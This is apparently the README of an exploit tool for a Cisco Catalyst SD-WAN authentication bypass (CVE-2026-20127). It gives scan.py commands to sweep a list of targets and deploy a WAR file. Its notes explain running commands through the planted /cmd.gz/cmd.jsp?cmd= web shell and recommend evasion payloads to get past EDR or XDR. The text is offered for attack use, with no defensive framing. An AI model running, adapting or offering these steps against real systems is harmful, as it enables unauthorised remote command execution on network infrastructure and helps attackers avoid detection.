CVE-2026-20127_EXP

Cisco Catalyst SD-WAN Authentication Bypass Vulnerability (CVE-2026-20127) Exploit EXP

Basic Usage

python scan.py -f targets.txt

Display Detailed Information

python scan.py -f targets.txt -v

Adjust Thread Count and Save Results

python scan.py -f targets.txt -t 10 -o vulnerable.txt

Specify WAR File Path

python scan.py -f targets.txt -w cmd.war

Specify WAR File Path, Adjust Thread Count, and Save Results

python scan.py -f targets.txt -w cmd.war t 10 -o vulnerable.txt

=======Notes========

After successful vulnerability reproduction, accessing /cmd.gz/cmd.jsp?cmd=whoami will display the result on the page

If you need to switch to a webshell, please create your own WAR package yourself (it is recommended to use an evasion payload, as testing has shown that Windows systems may have EDR or XDR)